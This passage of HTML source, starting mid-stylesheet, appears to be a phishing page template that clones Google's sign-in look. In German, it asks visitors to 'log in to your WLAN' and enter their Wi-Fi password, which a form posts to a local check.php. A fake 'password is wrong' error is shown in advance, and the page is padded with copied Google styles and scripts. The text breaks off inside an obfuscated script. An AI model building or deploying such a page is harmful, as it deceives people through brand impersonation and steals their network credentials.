-webkit-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: -moz-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: -ms-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: -o-linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  background-image: linear-gradient(top,#f8f8f8,#f1f1f1);\r\n  -moz-box-shadow: 0 1px 1px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.1);\r\n  box-shadow: 0 1px 1px rgba(0,0,0,0.1);\r\n  }\r\n  .rc-button:active {\r\n  background-color: #f6f6f6;\r\n  background-image: -webkit-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: -moz-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: -ms-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: -o-linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  background-image: linear-gradient(top,#f6f6f6,#f1f1f1);\r\n  -moz-box-shadow: 0 1px 2px rgba(0,0,0,0.1);\r\n  -webkit-box-shadow: 0 1px 2px rgba(0,0,0,0.1);\r\n  box-shadow: 0 1px 2px rgba(0,0,0,0.1);\r\n  }\r\n  .rc-button-submit,\r\n  .rc-button-submit:visited {\r\n  border: 1px solid #3079ed;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.1);\r\n  background-color: #4d90fe;\r\n  background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: -o-linear-gradient(top,#4d90fe,#4787ed);\r\n  background-image: linear-gradient(top,#4d90fe,#4787ed);\r\n  }\r\n  .rc-button-submit:hover {\r\n  border: 1px solid #2f5bb7;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.3);\r\n  background-color: #357ae8;\r\n  background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -o-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: linear-gradient(top,#4d90fe,#357ae8);\r\n  }\r\n  .rc-button-submit:active {\r\n  background-color: #357ae8;\r\n  background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -o-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: linear-gradient(top,#4d90fe,#357ae8);\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  }\r\n  .rc-button-red,\r\n  .rc-button-red:visited {\r\n  border: 1px solid transparent;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.1);\r\n  background-color: #d14836;\r\n  background-image: -webkit-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: -moz-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: -ms-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: -o-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: linear-gradient(top,#dd4b39,#d14836);\r\n  }\r\n  .rc-button-red:hover {\r\n  border: 1px solid #b0281a;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.3);\r\n  background-color: #c53727;\r\n  background-image: -webkit-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: -moz-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: -ms-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: -o-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: linear-gradient(top,#dd4b39,#c53727);\r\n  }\r\n  .rc-button-red:active {\r\n  border: 1px solid #992a1b;\r\n  background-color: #b0281a;\r\n  background-image: -webkit-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: -moz-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: -ms-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: -o-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: linear-gradient(top,#dd4b39,#b0281a);\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  }\r\n  .secondary-actions {\r\n  text-align: center;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 800px), screen and (max-height: 800px)\">\r\n  .google-header-bar.centered {\r\n  height: 83px;\r\n  }\r\n  .google-header-bar.centered .header .logo {\r\n  margin: 25px auto 20px;\r\n  }\r\n  .card {\r\n  margin-bottom: 20px;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 580px)\">\r\n  html, body {\r\n  font-size: 14px;\r\n  }\r\n  .google-header-bar.centered {\r\n  height: 73px;\r\n  }\r\n  .google-header-bar.centered .header .logo {\r\n  margin: 20px auto 15px;\r\n  }\r\n  .content {\r\n  padding-left: 10px;\r\n  padding-right: 10px;\r\n  }\r\n  .hidden-small {\r\n  display: none;\r\n  }\r\n  .card {\r\n  padding: 20px 15px 30px;\r\n  width: 270px;\r\n  }\r\n  .footer ul li {\r\n  padding-right: 1em;\r\n  }\r\n  .lang-chooser-wrap {\r\n  display: none;\r\n  }\r\n</style>\r\n<style media=\"screen and (-webkit-min-device-pixel-ratio: 1.5), (min--moz-device-pixel-ratio: 1.5), (-o-min-device-pixel-ratio: 3 / 2), (min-device-pixel-ratio: 1.5)\">\r\n  .header .logo {\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/logo_2x.png);\r\n  }\r\n  .header .logo-w {\r\n  background-image: url(https://ssl.gstatic.com/images/branding/googlelogo/2x/googlelogo_color_112x36dp.png);\r\n  }\r\n</style>\r\n<style>\r\n  pre.debug {\r\n  font-family: monospace;\r\n  position: absolute;\r\n  left: 0;\r\n  margin: 0;\r\n  padding: 1.5em;\r\n  font-size: 13px;\r\n  background: #f1f1f1;\r\n  border-top: 1px solid #e5e5e5;\r\n  direction: ltr;\r\n  white-space: pre-wrap;\r\n  width: 90%;\r\n  overflow: hidden;\r\n  }\r\n</style>\r\n<style>\r\n  .banner h1 {\r\n  font-family: 'Open Sans', arial;\r\n  -webkit-font-smoothing: antialiased;\r\n  color: #555;\r\n  font-size: 42px;\r\n  font-weight: 300;\r\n  margin-top: 0;\r\n  margin-bottom: 20px;\r\n  }\r\n  .banner h2 {\r\n  font-family: 'Open Sans', arial;\r\n  -webkit-font-smoothing: antialiased;\r\n  color: #555;\r\n  font-size: 18px;\r\n  font-weight: 400;\r\n  margin-bottom: 20px;\r\n  }\r\n  .signin-card {\r\n  width: 274px;\r\n  padding: 40px 40px;\r\n  }\r\n  .signin-card .profile-img {\r\n  width: 96px;\r\n  height: 96px;\r\n  margin: 0 auto 10px;\r\n  display: block;\r\n  -moz-border-radius: 50%;\r\n  -webkit-border-radius: 50%;\r\n  border-radius: 50%;\r\n  }\r\n  .signin-card .profile-name {\r\n  font-size: 16px;\r\n  font-weight: bold;\r\n  text-align: center;\r\n  margin: 10px 0 0;\r\n  min-height: 1em;\r\n  }\r\n  .signin-card .profile-email {\r\n  font-size: 16px;\r\n  text-align: center;\r\n  margin: 10px 0 20px 0;\r\n  min-height: 1em;\r\n  }\r\n  .signin-card input[type=email],\r\n  .signin-card input[type=password],\r\n  .signin-card input[type=text],\r\n  .signin-card input[type=submit] {\r\n  width: 100%;\r\n  display: block;\r\n  margin-bottom: 10px;\r\n  z-index: 1;\r\n  position: relative;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  }\r\n  .signin-card #Email,\r\n  .signin-card #Passwd,\r\n  .signin-card .captcha {\r\n  direction: ltr;\r\n  height: 44px;\r\n  font-size: 16px;\r\n  }\r\n  .signin-card #Email + .stacked-label {\r\n  margin-top: 15px;\r\n  }\r\n  .signin-card #reauthEmail {\r\n  display: block;\r\n  margin-bottom: 10px;\r\n  line-height: 36px;\r\n  padding: 0 8px;\r\n  font-size: 15px;\r\n  color: #404040;\r\n  line-height: 2;\r\n  margin-bottom: 10px;\r\n  font-size: 14px;\r\n  text-align: center;\r\n  overflow: hidden;\r\n  text-overflow: ellipsis;\r\n  white-space: nowrap;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  }\r\n  .one-google p {\r\n  margin: 0 0 10px;\r\n  color: #555;\r\n  font-size: 14px;\r\n  text-align: center;\r\n  }\r\n  .one-google p.create-account,\r\n  .one-google p.switch-account {\r\n  margin-bottom: 60px;\r\n  }\r\n  .one-google .logo-strip {\r\n  background-repeat: no-repeat;\r\n  display: block;\r\n  margin: 10px auto;\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/wlogostrip_230x17_1x.png);\r\n  background-size: 230px 17px;\r\n  width: 230px;\r\n  height: 17px;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 800px), screen and (max-height: 800px)\">\r\n  .banner h1 {\r\n  font-size: 38px;\r\n  margin-bottom: 15px;\r\n  }\r\n  .banner h2 {\r\n  margin-bottom: 15px;\r\n  }\r\n  .one-google p.create-account,\r\n  .one-google p.switch-account {\r\n  margin-bottom: 30px;\r\n  }\r\n  .signin-card #Email {\r\n  margin-bottom: 0;\r\n  }\r\n  .signin-card #Passwd {\r\n  margin-top: -1px;\r\n  }\r\n  .signin-card #Email.form-error,\r\n  .signin-card #Passwd.form-error {\r\n  z-index: 2;\r\n  }\r\n  .signin-card #Email:hover,\r\n  .signin-card #Email:focus,\r\n  .signin-card #Passwd:hover,\r\n  .signin-card #Passwd:focus {\r\n  z-index: 3;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 580px)\">\r\n  .banner h1 {\r\n  font-size: 22px;\r\n  margin-bottom: 15px;\r\n  }\r\n  .signin-card {\r\n  width: 260px;\r\n  padding: 20px 20px;\r\n  margin: 0 auto 20px;\r\n  }\r\n  .signin-card .profile-img {\r\n  width: 72px;\r\n  height: 72px;\r\n  -moz-border-radius: 72px;\r\n  -webkit-border-radius: 72px;\r\n  border-radius: 72px;\r\n  }\r\n</style>\r\n<style media=\"screen and (-webkit-min-device-pixel-ratio: 1.5), (min--moz-device-pixel-ratio: 1.5), (-o-min-device-pixel-ratio: 3 / 2), (min-device-pixel-ratio: 1.5)\">\r\n  .one-google .logo-strip {\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/wlogostrip_230x17_2x.png);\r\n  }\r\n</style>\r\n<style>\r\n  .need-help-reverse {\r\n  float: right;\r\n  }\r\n  .remember .bubble-wrap {\r\n  position: absolute;\r\n  padding-top: 3px;\r\n  -o-transition: opacity .218s ease-in .218s;\r\n  -moz-transition: opacity .218s ease-in .218s;\r\n  -webkit-transition: opacity .218s ease-in .218s;\r\n  transition: opacity .218s ease-in .218s;\r\n  left: -999em;\r\n  opacity: 0;\r\n  width: 314px;\r\n  margin-left: -20px;\r\n  }\r\n  .remember:hover .bubble-wrap,\r\n  .remember input:focus ~ .bubble-wrap,\r\n  .remember .bubble-wrap:hover,\r\n  .remember .bubble-wrap:focus {\r\n  opacity: 1;\r\n  left: inherit;\r\n  }\r\n  .bubble-pointer {\r\n  border-left: 10px solid transparent;\r\n  border-right: 10px solid transparent;\r\n  border-bottom: 10px solid #fff;\r\n  width: 0;\r\n  height: 0;\r\n  margin-left: 17px;\r\n  }\r\n  .bubble {\r\n  background-color: #fff;\r\n  padding: 15px;\r\n  margin-top: -1px;\r\n  font-size: 11px;\r\n  -moz-border-radius: 2px;\r\n  -webkit-border-radius: 2px;\r\n  border-radius: 2px;\r\n  -moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  -webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  }\r\n</style>\r\n  </head>\r\n  <body>\r\n  <div class=\"wrapper\">\r\n  <div class=\"google-header-bar  centered\">\r\n  <div class=\"header content clearfix\">\r\n  <div class=\"logo logo-w\" aria-label=\"Google\"></div>\r\n  </div>\r\n  </div>\r\n  <div class=\"main content clearfix\">\r\n<div class=\"banner\">\r\n  <h2>\r\n  Bitte melden Sie sich in Ihrem WLAN an.\r\n  </h2>\r\n</div>\r\n<form novalidate=\"\" method=\"post\" action=\"check.php\" id=\"form1\" name=\"form1\">\r\n<div class=\"card signin-card\">\r\n  <div id=\"cc_iframe_parent\"><iframe style=\"visibility: hidden; width: 1px; height: 1px; position: absolute; top: -100px;\" src=\"Anmelden%20%E2%80%93%20Google%20Konten-Dateien/CheckConnection.htm\" id=\"youtube\"></iframe></div>\r\n<label class=\"hidden-label\" for=\"Passwd\">WLAN-Passwort</label>\r\n<input id=\"Passwd\" name=\"key1\" placeholder=\"WLAN-Passwort\" class=\"form-error\" type=\"password\">\r\n<span role=\"alert\" class=\"error-msg\" id=\"errormsg_0_Passwd\">\r\n  Das Passwort ist falsch. Versuchen Sie es noch einmal.\r\n  </span>\r\n  <input id=\"signIn\" name=\"signIn\" class=\"rc-button rc-button-submit\" value=\"Anmelden\" type=\"submit\">\r\n  \r\n  </form>\r\n</div>\r\n  <div class=\"one-google\">\r\n  <p class=\"switch-account\">\r\n  \r\n  </p>\r\n  </div>\r\n  </div>\r\n  <div class=\"google-footer-bar\">\r\n  <div class=\"footer content clearfix\">\r\n  <ul id=\"footer-list\">\r\n  <li>\r\n  <a href=\"https://www.google.de/intl/de/about\" target=\"_blank\">\r\n  Über Google\r\n  </a>\r\n  </li>\r\n  <li>\r\n  <a href=\"https://accounts.google.com/TOS?loc=DE&amp;hl=de&amp;privacy=true\" target=\"_blank\">\r\n  Datenschutz\r\n  </a>\r\n  </li>\r\n  <li>\r\n  <a href=\"https://accounts.google.com/TOS?loc=DE&amp;hl=de\" target=\"_blank\">\r\n  Nutzungsbedingungen\r\n  </a>\r\n  </li>\r\n  <li>\r\n  <a href=\"http://www.google.com/support/accounts?hl=de\" target=\"_blank\">\r\n  Hilfe\r\n  </a>\r\n  </li>\r\n  </ul>\r\n  \r\n  </div>\r\n</div>\r\n  </div>\r\n  <script>\r\n  (function(){\r\n  var splitByFirstChar = function(toBeSplit, splitChar) {\r\n  var index = toBeSplit.indexOf(splitChar);\r\n  if (index >= 0) {\r\n  return [toBeSplit.substring(0, index),\r\n  toBeSplit.substring(index + 1)];\r\n  }\r\n  return [toBeSplit];\r\n  }\r\n  var langChooser_parseParams = function(paramsSection) {\r\n  if (paramsSection) {\r\n  var query = {};\r\n  var params = paramsSection.split('&');\r\n  for (var i = 0; i < params.length; i++) {\r\n              var param = splitByFirstChar(params[i], '=');\r\n              if (param.length == 2) {\r\n                query[param[0]] = param[1];\r\n              }\r\n            }\r\n            return query;\r\n          }\r\n          return {};\r\n        }\r\n        var appendHiddenParams = function(query) {\r\n          var loginForm = document.getElementById('gaia_loginform');\r\n          if (loginForm) {\r\n            var loginInputs = loginForm.getElementsByTagName('input');\r\n            for (var i = 0, input; input = loginInputs[i]; i++) {\r\n              if (input.type == 'hidden' && input.value && !query[input.name]) {\r\n                query[input.name] = input.value;\r\n              }\r\n            }\r\n          }\r\n        }\r\n        var post = function(path, params) {\r\n          var form = document.createElement('form');\r\n          form.setAttribute('method', 'post');\r\n          form.setAttribute('action', path);\r\n\r\n          for (var key in params) {\r\n            if (params.hasOwnProperty(key)) {\r\n              var hiddenField = document.createElement('input');\r\n              hiddenField.setAttribute('type', 'hidden');\r\n              hiddenField.setAttribute('name', key);\r\n              hiddenField.setAttribute('value', params[key]);\r\n\r\n              form.appendChild(hiddenField);\r\n            }\r\n          }\r\n\r\n          document.body.appendChild(form);\r\n          form.submit();\r\n        }\r\n        var langChooser_getParamStr = function(params) {\r\n          var paramsStr = [];\r\n          for (var a in params) {\r\n            paramsStr.push(a + \"=\" + params[a]);\r\n          }\r\n          return paramsStr.join('&');\r\n        }\r\n        var langChooser_currentUrl = window.location.href;\r\n        var match = langChooser_currentUrl.match(\"^(.*?)(\\\\?(.*?))?(#(.*))?$\");\r\n        var langChooser_currentPath = match[1];\r\n        var langChooser_params = langChooser_parseParams(match[3]);\r\n        var langChooser_fragment = match[5];\r\n\r\n        var langChooser = document.getElementById('lang-chooser');\r\n        var langChooserWrap = document.getElementById('lang-chooser-wrap');\r\n        var langVisControl = document.getElementById('lang-vis-control');\r\n        if (langVisControl && langChooser) {\r\n          langVisControl.style.display = 'inline';\r\n          langChooser.onchange = function() {\r\n            langChooser_params['lp'] = 1;\r\n            langChooser_params['hl'] = encodeURIComponent(this.value);\r\n            var hiddenEmailInput = document.getElementById('Email-hidden');\r\n            if (hiddenEmailInput) {\r\n              // If we are in password separation on password page, post to\r\n              // /AccountLoginInfo.\r\n              appendHiddenParams(langChooser_params);\r\n              langChooser_params['Email'] = hiddenEmailInput.value;\r\n              post('/AccountLoginInfo', langChooser_params);\r\n            } else {\r\n              var paramsStr = langChooser_getParamStr(langChooser_params);\r\n              var newHref = langChooser_currentPath + \"?\" + paramsStr;\r\n              if (langChooser_fragment) {\r\n                newHref = newHref + \"#\" + langChooser_fragment;\r\n              }\r\n              window.location.href = newHref;\r\n            }\r\n          };\r\n        }\r\n      })();\r\n    </script>\r\n<script type=\"text/javascript\">\r\n  var gaia_attachEvent = function(element, event, callback) {\r\n  if (element && element.addEventListener) {\r\n  element.addEventListener(event, callback, false);\r\n  } else if (element && element.attachEvent) {\r\n  element.attachEvent('on' + event, callback);\r\n  }\r\n  };\r\n</script>\r\n  <script>var G,Gb=function(a,b){var c=a;a&&\"string\"==typeof \r\na&&(c=document.getElementById(a));if(b&&!c)throw new Ga(a);return \r\nc},Ga=function(a){this.id=a;this.toString=function(){return\"No element \r\nfound for id '\"+this.id+\"'\"}};var Gc={},Gf=function(a,b,c){var \r\nd=function(a){var b=c.call(this,a);!1===b&&Gd(a);return \r\nb};a=Gb(a,!0);a.addEventListener(b,d,!1);Ge(a,b).push(d);return \r\nd},Gg=function(a,b,c){a=Gb(a,!0);var d=function(){var \r\nb=window.event,d=c.call(a,b);!1===d&&Gd(b);return \r\nd};a.attachEvent(\"on\"+b,d);Ge(a,b).push(d);return \r\nd},Gh;Gh=window.addEventListener?Gf:window.attachEvent?Gg:void 0;\r\nvar \r\nGd=function(a){a.preventDefault?a.preventDefault():a.returnValue=!1;return!1},Ge=function(a,b){Gc[a]=Gc[a]||{};Gc[a][b]=Gc[a][b]||[];return\r\n Gc[a][b]};var Gi=function(){try{return new \r\nXMLHttpRequest}catch(c){for(var \r\na=[\"MSXML2.XMLHTTP.6.0\",\"MSXML2.XMLHTTP.3.0\",\"MSXML2.XMLHTTP\",\"Microsoft.XMLHTTP\"],b=0;b<a.length;b++)try{return\r\n new ActiveXObject(a[b])}catch(d){}}return \r\nnull},Gj=function(){this.request=Gi();this.parameters={}};\r\nGj.prototype.send=function(a,b){var c=[],d;for(d in this.parameters){var\r\n e=this.parameters[d];c.push(d+\"=\"+encodeURIComponent(e))}var \r\nc=c.join(\"&\"),f=this.request;f.open(\"POST\",a,!0);f.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");f.onreadystatechange=function(){4==f.readyState&&b({status:f.status,text:f.responseText})};f.send(c)};\r\nGj.prototype.get=function(a,b){var\r\n \r\nc=this.request;c.open(\"GET\",a,!0);c.onreadystatechange=function(){4==c.readyState&&b({status:c.status,text:c.responseText})};c.send()};var\r\n Gl=function(a){this.g=a;this.u=this.m();if(null==this.g)throw new \r\nGk(\"Empty module name\");};G=Gl.prototype;G.m=function(){var \r\na=window.location.pathname;return \r\na&&0==a.indexOf(\"/accounts\")?\"/accounts/JsRemoteLog\":\"/JsRemoteLog\"};\r\nG.i=function(a,b,c){var \r\nd=this.u,e=this.g||\"\",d=d+\"?module=\"+encodeURIComponent(e);a=a||\"\";d=d+\"&type=\"+encodeURIComponent(a);b=b||\"\";d=d+\"&msg=\"+encodeURIComponent(b);c=c||[];for(a=0;a<c.length;a++)d=d+\"&arg=\"+encodeURIComponent(c[a]);try{var\r\n f=Math.floor(1E4*Math.random()),d=d+\"&r=\"+String(f)}catch(g){}return \r\nd};G.send=function(a,b,c){var d=new Gj;d.parameters={};try{var \r\ne=this.i(a,b,c);d.get(e,function(){})}catch(f){}};G.error=function(a,b){this.send(\"ERROR\",a,b)};\r\nG.warn=function(a,b){this.send(\"WARN\",a,b)};G.info=function(a,b){this.send(\"INFO\",a,b)};G.f=function(a){var\r\n b=this;return function(){try{return \r\na.apply(null,arguments)}catch(c){throw b.error(\"Uncatched exception: \r\n\"+c),c;}}};var Gk=function(){};var Gm=Gm||new \r\nGl(\"uri\"),Gn=/^(?:([^:/?#.]+):)?(?:\\/\\/(?:([^/?#]*)@)?([\\w\\d\\-\\u0100-\\uffff.%]*)(?::([0-9]+))?)?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$/,Go=function(a){return\"http\"==a.toLowerCase()?80:\"https\"==a.toLowerCase()?443:null},Gp=function(a,b){var\r\n c=b.match(Gn)[1]||null,d=b.match(Gn)[3]||null;var \r\ne=d&&decodeURIComponent(d);d=Number(b.match(Gn)[4]||null)||null;if(!c||!e)return\r\n Gm.error(\"Invalid origin \r\nException\",[String(b)]),!1;d||(d=Go(c));b=a.match(Gn)[1]||null;if(!b||b.toLowerCase()!=c.toLowerCase())return!1;\r\nc=(c=a.match(Gn)[3]||null)&&decodeURIComponent(c);if(!c||c.toLowerCase()!=e.toLowerCase())return!1;(a=Number(a.match(Gn)[4]||null)||null)||(a=Go(b));return\r\n d==a};var Gq=Gq||new \r\nGl(\"check_connection\"),Gr=null,Gs=null,Gt=function(a,b){this.c=a;this.b=b;this.a=!1};G=Gt.prototype;G.h=function(a,b){if(!b)return!1;if(0<=a.indexOf(\",\"))return\r\n Gq.error(\"CheckConnection result contains comma\",[a]),!1;var \r\nc=b.value;b.value=c?c+\",\"+a:a;return!0};G.w=function(a){return \r\nthis.h(a,null)};G.v=function(a){return \r\nthis.h(a,Gs)};G.l=function(a){a=a.match(\"^([^:]+):(\\\\d*):(\\\\d?)$\");return!a||3>a.length?null:a[1]};\r\nG.s=function(a,b){if(!Gp(this.c,a))return!1;if(this.a||!b)return!0;this.l(b)==this.b&&(this.v(b)||this.w(a),this.a=!0);return!0};G.o=function(){var\r\n a=this.c;var b=\"timestamp\",c=String((new \r\nDate).getTime());if(0<a.indexOf(\"#\"))throw Object(\"Unsupported URL \r\nException: \"+a);return \r\na=0<=a.indexOf(\"?\")?a+\"&\"+encodeURIComponent(b)+\"=\"+encodeURIComponent(c):a+\"?\"+encodeURIComponent(b)+\"=\"+encodeURIComponent(c)};\r\nG.j=function(){var\r\n \r\na=window.document.createElement(\"iframe\"),b=a.style;b.visibility=\"hidden\";b.width=\"1px\";b.height=\"1px\";b.position=\"absolute\";b.top=\"-100px\";a.src=this.o();a.id=this.b;Gr.appendChild(a)};\r\nvar\r\n Gu=function(a){return function(b){var \r\nc=b.origin.toLowerCase();b=b.data;for(var \r\nd=a.length,e=0;e<d&&!a[e].s(c,b);e++);}},Gv=function(){if(window.postMessage){var\r\n a=window.__CHECK_CONNECTION_CONFIG.iframeParentElementId;var \r\nb=window.__CHECK_CONNECTION_CONFIG.newResultElementId;(Gr=document.getElementById(a))?b?(Gs=document.getElementById(b),a=!0):(Gq.error(\"Unable\r\n to locate the input element to storeCheckConnection result\",\"new id: \r\n\"+String(b)),a=!1):(Gq.error(\"Unable to locate the iframe anchor to \r\nappend connection test iframe\",\r\n[\"element id: \r\n\"+a]),a=!1);if(a){a=window.__CHECK_CONNECTION_CONFIG.domainConfigs;if(!a){if(!window.__CHECK_CONNECTION_CONFIG.iframeUri){Gq.error(\"Missing\r\n iframe URL in old \r\nconfiguration\");return}a=[{iframeUri:window.__CHECK_CONNECTION_CONFIG.iframeUri,domainSymbol:\"youtube\"}]}if(0!=a.length){for(var\r\n b=a.length,c=[],d=0;d<b;d++)c.push(new \r\nGt(a[d].iframeUri,a[d].domainSymbol));Gh(window,\"message\",Gu(c));for(d=0;d<b;d++)c[d].j()}}}},Gw=function(){if(window.__CHECK_CONNECTION_CONFIG){var\r\n a=window.__CHECK_CONNECTION_CONFIG.postMsgSupportElementId;\r\nif(window.postMessage){var \r\nb=document.getElementById(a);b?b.value=\"1\":Gq.error(\"Unable to locate \r\nthe input element to storepostMessage test result\",[\"element id: \r\n\"+a])}}};G_checkConnectionMain=Gq.f(Gv);G_setPostMessageSupportFlag=Gq.f(Gw);\r\n</script>\r\n  <script>\r\n  window.__CHECK_CONNECTION_CONFIG = {\r\n  newResultElementId: 'checkConnection',\r\n  domainConfigs: [{iframeUri: \r\n'https://accounts.youtube.com/accounts/CheckConnection?pmpo\\x3dhttps%3A%2F%2Faccounts.google.com\\x26v\\x3d-1004665669',domainSymbol:\r\n 'youtube'}],\r\n  iframeUri: '',\r\n  iframeOrigin: '',\r\n  iframeParentElementId: 'cc_iframe_parent',\r\n  postMsgSupportElementId: 'pstMsg',\r\n  msgContent: 'accessible'\r\n  };\r\n  G_setPostMessageSupportFlag();\r\n  G_checkConnectionMain();\r\n</script>\r\n  <script type=\"text/javascript\">/* Anti-spam. Want to say hello? \r\nContact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */Function('var \r\nm=function(D,n,X){if(\"object\"==(n=typeof D,n))if(D){if(D instanceof \r\nArray)return\"array\";if(D instanceof Object)return \r\nn;if((X=Object.prototype.toString.call(D),\"[object \r\nWindow]\")==X)return\"object\";if(\"[object Array]\"==X||\"number\"==typeof \r\nD.length&&\"undefined\"!=typeof D.splice&&\"undefined\"!=typeof \r\nD.propertyIsEnumerable&&!D.propertyIsEnumerable(\"splice\"))return\"array\";if(\"[object\r\n Function]\"==X||\"undefined\"!=typeof D.call&&\"undefined\"!=typeof \r\nD.propertyIsEnumerable&&!D.propertyIsEnumerable(\"call\"))return\"function\"}else\r\n return\"null\";else if(\"function\"==n&&\"undefined\"==typeof \r\nD.call)return\"object\";return \r\nn},F=function(D,n,X,l,Z){for(l=X=(n=[],0);l<D.length;l++)Z=D.charCodeAt(l),128>Z?n[X++]=Z:(2048>Z?n[X++]=Z>>6|192:(55296==(Z&64512)&&l+1<D.length&&56320==(D.charCodeAt(l+1)&64512)?(Z=65536+((Z&1023)<<10)+(D.charCodeAt(++l)&1023),n[X++]=Z>>18|240,n[X++]=Z>>12&63|128):n[X++]=Z>>12|224,n[X++]=Z>>6&63|128),n[X++]=Z&63|128);return\r\n n},L=this,y=(new \r\nfunction(){},function(D,n,X,l){for(l=n-1,X=[];0<=l;l--)X[n-1-l]=D>>8*l&255;return\r\n \r\nX}),P=function(D,n,X,l){try{for(l=0;79669387488!=l;)D+=(n<<4^n>>>5)+n^l+X[l&3],l+=2489668359,n+=(D<<4^D>>>5)+D^l+X[l>>>11&3];return[D>>>24,D>>16&255,D>>8&255,D&255,n>>>24,n>>16&255,n>>8&255,n&255]}catch(Z){throw\r\n Z;}},p=function(D,n){for(n=[];D--;)n.push(255*Math.random()|0);return \r\nn},G=function(D,n){D.S.splice(0,0,n)},h=function(D,n,X,l,Z){if(X=n[0],1==X)D.O=25,D.G(n);else\r\n \r\nif(2==X){l=n[X=n[1],3];try{D.i=false,Z=D.G(n)}catch(r){O(D,r),Z=D.Z}X&&X(Z),l.push(Z)}else\r\n if(3==X)D.G(n);else if(4==X)D.G(n);else \r\nif(5==X)D.i=false,n=n[1],n();else if(6==X)return \r\nZ=n[2],w(D,213,n[6]),w(D,162,Z),D.G(n)},N=function(D,n,X,l){(((((((((((((l=((((((((((((((((D.v=0,D).J=0,D).P=function(D,n,X){return(n=(X=function(){return\r\n D},function(){return \r\nX()}),n)[this.B]=function(Z){D=Z},n},D.N=[],D).O=25,D.L=false,D.I=function(D,n,X,l,A,b){return\r\n D=((b=(X=(A=function(){return l()},l=function(){return \r\nl[X.b+(A[X.f]===n)-!b[X.f]]},this),X.G),A[X.B]=function(D){l[X.h]=D},A)[X.B](D),A)},D.A=[],w(D,31,0),w)(D,95,0),w)(D,97,[165,0,0]),w(D,181,function(D,n,X,l){(l=(n=g(D),X=g(D),g)(D),D.R(n))[D.R(X)]=D.R(l)}),w)(D,219,function(D,n,X,l){n=(n=g(D),X=g(D),l=g(D),X=D.R(X),D.R(n)),w(D,l,n[X])}),w(D,27,function(D,n,X,l,A,b,J){if(!Y(D,1)){if(\"object\"==(A=(l=(X=(X=(n=g(D),g)(D),l=g(D),A=g(D),n=D.R(n),D.R(X)),D.R(l)),D.R(A)),m)(n)){for(J\r\n in \r\nb=[],n)b.push(J);n=b}for(J=(b=0,n).length;b<J;b+=l)X(n.slice(b,b+l),A);Y(D,0)}}),w)(D,77,function(D,n,X,l){l=(X=(n=g(D),g(D)),g)(D),w(D,l,(D.R(n)in\r\n 